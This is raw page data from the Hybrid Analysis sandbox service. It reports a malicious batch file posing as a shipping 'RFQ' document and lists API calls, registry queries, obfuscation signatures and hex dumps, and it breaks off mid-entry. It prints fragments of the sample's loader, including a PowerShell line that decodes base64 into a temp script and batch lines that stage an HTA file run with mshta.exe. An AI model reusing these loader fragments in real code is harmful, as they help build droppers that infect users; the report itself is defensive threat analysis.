26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 60:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ac,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample c5830b1e211c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c5830b1e211c…. Malware family: Trojan.Generic. Threat score 100/100. 5/26 AV engines flagged this file. 15 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c5830b1e211c745c7b6bfe70b95b1145a799b71409039f671c51bf425e4bfab3","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","c5830b1e211c745c7b6bfe70b95b1145a799b71409039f671c51bf425e4bfab3"],"about":{"@type":"SoftwareApplication","name":"RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat","applicationCategory":["script","bat"],"identifier":"c5830b1e211c745c7b6bfe70b95b1145a799b71409039f671c51bf425e4bfab3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":5,"total":26},"behavioralIndicators":{"malicious":15,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4fe,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp")28:T559,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CHAINENGINE\CONFIG") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG\DEFAULT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CI\CONFIG") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CI\CONFIG")29:T9d2,"cmd.exe" queried SystemProcessInformation at 00000000-00004424-00000C15-2019895676 [PID: 4424] "cmd.exe" queried SystemProcessInformation at 00000000-00004424-00000C15-2019905005 [PID: 4424] "cmd.exe" queried SystemProcessInformation at 00000000-00004424-00000C15-2020225051 [PID: 4424] "cmd.exe" queried SystemProcessInformation at 00000000-00004424-00000C15-2020233548 [PID: 4424] "cmd.exe" queried SystemProcessInformation at 00000000-00001468-00000C15-2021019153 [PID: 1468] "cmd.exe" queried SystemProcessInformation at 00000000-00001468-00000C15-2021027250 [PID: 1468] "cmd.exe" queried SystemProcessInformation at 00000000-00001468-00000C15-2021304621 [PID: 1468] "cmd.exe" queried SystemProcessInformation at 00000000-00001468-00000C15-2021313778 [PID: 1468] "reg.exe" queried SystemProcessInformation at 00000000-00004144-00000C15-2021928977 [PID: 4144] "reg.exe" queried SystemProcessInformation at 00000000-00004144-00000C15-2021939792 [PID: 4144] "reg.exe" queried SystemProcessInformation at 00000000-00004144-00000C15-2022184648 [PID: 4144] "reg.exe" queried SystemProcessInformation at 00000000-00004144-00000C15-2022192104 [PID: 4144] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2027262295 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2027270149 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2028781842 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2028790957 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2029535657 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2029544394 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2029884399 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2029891880 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2030020185 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2030029607 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2031201366 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2031711883 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-2031720554 [PID: 2240]2a:T681,file/memory contains long string with (Indicator: "FromBase64String"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI"), file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0EA0000.00000004.mdmp 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.B2980000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0EA0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp 00000000-00002240.00000001.193887.B2980000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp"), Found reference to API "HxwC8([A-Za-z0-9+/=]+)') { $PHYSICALLY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); $PHYSICALLY | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\Valuable.ps1' -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp")2b:T65e,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to decode base64 data Matched sigs: Able to access crypto-related API (String) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: YARA signature match – Encryption algorithm Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: The input file contains long Base64 encoded strings2c:T200d,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004424) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004424) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001468) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001468) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004144) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac417ffb7f0000000000000000000051ed1b81fb7f000000000000a8010000000000000000000038bb448d04e000002a00000000000000803c1ecba80100008fec1b81fb7f0000e0ac417ffb7f0000e0ac417ffb7f0000000000000000000000000000fb7f0000ffffff7f2a49000000000000000000000000000000000000d8ce357ffb7f00002a0000000000000069c3ee7efb7f00003100000000000000fc030000000000000404000000000000110001100000000000d68fd55d00000003a3c27efb7f000000d68fd55d00000000000000000000002b00000000000000000000000000000020b0f47efb7f0000b43ff37efb7f0000e0ce357f (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000eab0a80100000b8e1981fb7f00000000eab0a801000002000000a8010000380000000000000040000000000000003003eab0a8010000a8e184d65d0000000100000000000000030000000000000001000000000000001600000000000000a029e7b0a801000000000000000000000000e7b0a801000000004ad55d00000000000000000000002500000001000000000000000000000080000000000000000400000000000000000000000000000028b181cba801000004000000000000003800000000000000f098c17efb7f00003800000000000000380000000000000020e384d65d000000c00cfe4afb7f000000000000 (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b00868fb7f0000070000000000000000000000000000000100000000000000103070cba80100000000000000000000b0be72cba80100004c98c17efb7f000010cb72cba8010000b3cef44afb7f000020c672cba8010000004f0868fb7f0000d0b00868fb7f00000000000000000000000000000000000020c672cba8010000103070cba801000030ea72cba801000078e384d65d0000004c98c17efb7f0000010000000000000078e384d65d00000030ea72cba801000020c672cba8010000010000000000000002bcf44afb7f000080c072cba8010000107e71cba8010000feffffff040000007df00768fb7f000070e772cb (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000103070cba80100000000000000000000b0be72cba80100004c98c17efb7f000010c972cba8010000b3cef44afb7f000030c272cba8010000384f0868fb7f0000d0b00868fb7f00000000000000000000000000000000000030c272cba8010000103070cba801000030ea72cba801000070e384d65d0000004c98c17efb7f0000010000000000000070e384d65d00000030ea72cba801000030c272cba8010000010000000000000002bcf44afb7f00000000000000000000107e71cba801000080c072cb04000000feffffffffffffff103070cba80100007df00768fb7f000000000000 (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004004) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004004)2d:T2052,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000a86e0000200000b0080000580f00000d006f00a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff72006b0000000000b1080000001000000000000000000000c091f6b0a801000003000003bdc70000c054f4b0a80100003007f4b0a80100006e0065002e0063006f006e006600690067000000 (UID: 00000000-00002240) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300050000057a0b0000905ddd09 (UID: 00000000-00004004) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f000058339d7efb7f000010944a030000000010034003000000000000000058150000d89f9d7efb7f0000dd7e1ededced98dd2c68b1ad08399b4282b1592be136a9e6bc1500000000000060f44e0a00000000c0ed4d0a000000000000000000000000800689080000000058a49d7efb7f0000050007000300000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002325817efb7f00002014ca13000000000000000000000000000000000000000000000000000000002014ca130000000000000000000000000300000000000000c4671b5afb7f00001000000000000000100000000000000020d0e12b0000000080000000000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000b84d140a00000000b84d140a00000000000000000000000014d1e12b0000000008d2e12b00000000ffffffff0000000064d1e12b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000d8fb8908 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000400000000000000000b9170a00000000ffffffff000000000300000000000000702dd613000000002014ca13000000000000000000000000c4671b5afb7f000010000000000000001000000000000000030000000000000090d2e12b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002325817efb7f00004000000000000000d6671981fb7f0000000000000000000000000000000000002014ca130000000000000000000000000300000000000000c4671b5afb7f00001000000000000000100000000000000020d0e12b0000000080000000000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000e82db21000000000e82db21000000000000000000000000014d1e12b0000000008d2e12b00000000ffffffff0000000064d1e12b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000d8fb8908 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000400000000000000000b9170a00000000ffffffff0000000003000000000000002854d613000000002014ca13000000000000000000000000c4671b5afb7f000010000000000000001000000000000000030000000000000090d2e12b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002325817efb7f00004000000000000000d6671981fb7f0000000000000000000000000000000000002014ca130000000000000000000000000300000000000000c4671b5afb7f000010000000000000001000000000000000b0dfe12b0000000080000000000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000e82db21000000000e82db210000000000000000000000000a4e0e12b0000000098e1e12b00000000ffffffff00000000f4e0e12b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000d8fb8908 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000400000000000000000b9170a00000000ffffffff0000000003000000000000003089d513000000002014ca13000000000000000000000000c4671b5afb7f000010000000000000001000000000000000030000000000000020e2e12b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000b84d140a00000000b84d140a000000000000000000000000a4e0e12b0000000098e1e12b00000000ffffffff00000000f4e0e12b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000d8fb8908 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000400000000000000000b9170a00000000ffffffff000000000300000000000000c0aed513000000002014ca13000000000000000000000000c4671b5afb7f000010000000000000001000000000000000030000000000000020e2e12b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002325817efb7f00004000000000000000d6671981fb7f0000000000000000000000000000000000002014ca130000000000000000000000000300000000000000c4671b5afb7f00001000000000000000100000000000000040dfe92b0000000080000000000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000c84f140a00000000c84f140a00000000000000000000000034e0e92b0000000028e1e92b00000000ffffffff0000000084e0e92b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000c80bdd06 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000004000000000000000d0c0170a00000000ffffffff00000000030000000000000048b0cf13000000002014ca13000000000000000000000000c4671b5afb7f0000100000000000000010000000000000000300000000000000b0e1e92b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000007851140a000000007851140a00000000000000000000000034e0e92b0000000028e1e92b00000000ffffffff0000000084e0e92b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000c80bdd06 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000004000000000000000d0c0170a00000000ffffffff000000000300000000000000d8d5cf13000000002014ca13000000000000000000000000c4671b5afb7f0000100000000000000010000000000000000300000000000000b0e1e92b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002325817efb7f00004000000000000000d6671981fb7f0000000000000000000000000000000000002014ca130000000000000000000000000300000000000000c4671b5afb7f00001000000000000000100000000000000030dfe92b0000000080000000000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000007851140a000000007851140a00000000000000000000000024e0e92b0000000018e1e92b00000000ffffffff0000000074e0e92b000000000000000000000000c4671b5afb7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169476bfb7f0000c80bdd06 (UID: 00000000-00005396) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000004000000000000000d0c0170a00000000ffffffff000000000300000000000000d0ade513000000002014ca13000000000000000000000000c4671b5afb7f0000100000000000000010000000000000000300000000000000a0e1e92b000000001000000000000000a169476bfb7f000000000000 (UID: 00000000-00005396)2e:T5eb,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2f:Tc4b,Found string "set Horse=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set data=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Correct=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set IMPACT=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set RESPONSIBLE=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set immigration=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set ZTPKTTY=1" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set DEMOCRATIC=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Museum=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Language=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set prime=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Production=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set crucial=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set kiss=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Tribe=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set VICTORY=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Origin=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set hta_p=%APPDATA%\Microsoft\Windows\Templates\Together.hta" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set mcmd=mshta.exe" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set EXTRA=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set preparation=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set song=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set Depending=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set resistance=%COMPUTERNAME%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set CLOSE=%RANDOM%" (Indicator: "set "; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat")30:T5e5,Found reference to API 